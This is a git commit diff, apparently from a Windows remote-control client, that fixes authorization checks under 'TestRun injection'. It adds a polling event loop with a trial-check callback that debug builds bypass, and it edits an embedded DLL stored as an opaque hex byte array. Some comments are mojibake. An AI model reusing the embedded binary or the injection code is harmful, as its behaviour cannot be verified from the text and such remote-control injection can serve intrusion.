fix:#159 Authorization doesn't work under TestRun injection

This commit is contained in:
yuanyuanxiang
2025-07-19 16:18:56 +08:00
parent 468535eef7
commit e7f06abcea
10 changed files with 42 additions and 5 deletions

View File

@@ -17,6 +17,7 @@ enum {
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_DEFAULT 1
#define ALGORITHM_H264 2
#define ALGORITHM_HOME 3

View File

@@ -581,3 +581,19 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
setManagerCallBack(NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}
BOOL is_valid() { return TRUE; }
VOID IOCPClient::RunEventLoop(TrailCheck checker)
{
Mprintf("======> RunEventLoop begin\n");
checker = checker ? checker : is_valid;
#ifdef _DEBUG
checker = is_valid;
#endif
while (m_bIsRunning && checker())
Sleep(200);
setManagerCallBack(NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}

View File

@@ -106,6 +106,8 @@ public:
}
};
typedef BOOL(*TrailCheck)(void);
class IOCPClient
{
public:
@@ -139,7 +141,7 @@ public:
}
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID RunEventLoop(TrailCheck checker);
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; }
BOOL Reconnect(void* manager) {

View File

@@ -52,6 +52,9 @@ public:
}
virtual void Notify() { }
int Send(LPBYTE lpData, UINT nSize);
int SendData(LPBYTE lpData, UINT nSize) {
return Send(lpData, nSize);
}
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
};

View File

@@ -21,7 +21,7 @@ unsigned char TinyRun_dll[] = {
0x0f, 0x07, 0x5b, 0xfc, 0xc1, 0x72, 0x59, 0xfd, 0x0f, 0x07, 0x5b, 0xfc,
0x52, 0x69, 0x63, 0x68, 0x0e, 0x07, 0x5b, 0xfc, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, 0x3b, 0x50, 0x56, 0x68,
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, 0x42, 0x6f, 0x73, 0x68,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x22, 0x20,
0x0b, 0x02, 0x0e, 0x1d, 0x00, 0xbe, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xd0, 0x19, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
@@ -214,7 +214,7 @@ unsigned char TinyRun_dll[] = {
0x0f, 0xb6, 0x0c, 0x10, 0x88, 0x0c, 0x18, 0x48, 0x8d, 0x40, 0x01, 0x84,
0xc9, 0x75, 0xf1, 0x48, 0x8d, 0x0d, 0x5e, 0x64, 0x01, 0x00, 0xe8, 0xd5,
0x26, 0x00, 0x00, 0x89, 0x05, 0x13, 0x77, 0x01, 0x00, 0x4c, 0x8d, 0x05,
0xd8, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xab, 0x64, 0x01, 0x00, 0x48,
0xd8, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xad, 0x64, 0x01, 0x00, 0x48,
0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48,
0x89, 0x05, 0xfe, 0x76, 0x01, 0x00, 0x33, 0xd2, 0xc7, 0x44, 0x24, 0x20,
0x00, 0x00, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x15, 0xdc, 0xb9, 0x00, 0x00,
@@ -6667,10 +6667,10 @@ unsigned char TinyRun_dll[] = {
0x32, 0x63, 0x31, 0x33, 0x31, 0x30, 0x32, 0x32, 0x35, 0x33, 0x36, 0x64,
0x61, 0x37, 0x35, 0x31, 0x63, 0x32, 0x39, 0x65, 0x33, 0x66, 0x66, 0x34,
0x65, 0x39, 0x30, 0x32, 0x34, 0x64, 0x38, 0x65, 0x65, 0x63, 0x34, 0x33,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x50, 0x56, 0x68,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x6f, 0x73, 0x68,
0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0xa4, 0x02, 0x00, 0x00,
0x98, 0x48, 0x01, 0x00, 0x98, 0x3a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3b, 0x50, 0x56, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
0x42, 0x6f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x38, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

View File

@@ -18,6 +18,8 @@
#include <Shlwapi.h>
#include <shlobj_core.h>
#pragma comment(lib, "Shlwapi.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

View File

@@ -15,6 +15,8 @@
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
bool IsWindows8orHigher();
class IOCPClient;
class CScreenManager : public CManager

View File

@@ -27,6 +27,9 @@
#ifdef _DEBUG
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h"
#ifndef VLD_RPTHOOK_REMOVE
#error <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>#include "vld.h"<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>Release<73><65><EFBFBD><EFBFBD>
#endif
#define USING_SAFETHRED 0
#else
#define USING_SAFETHRED 1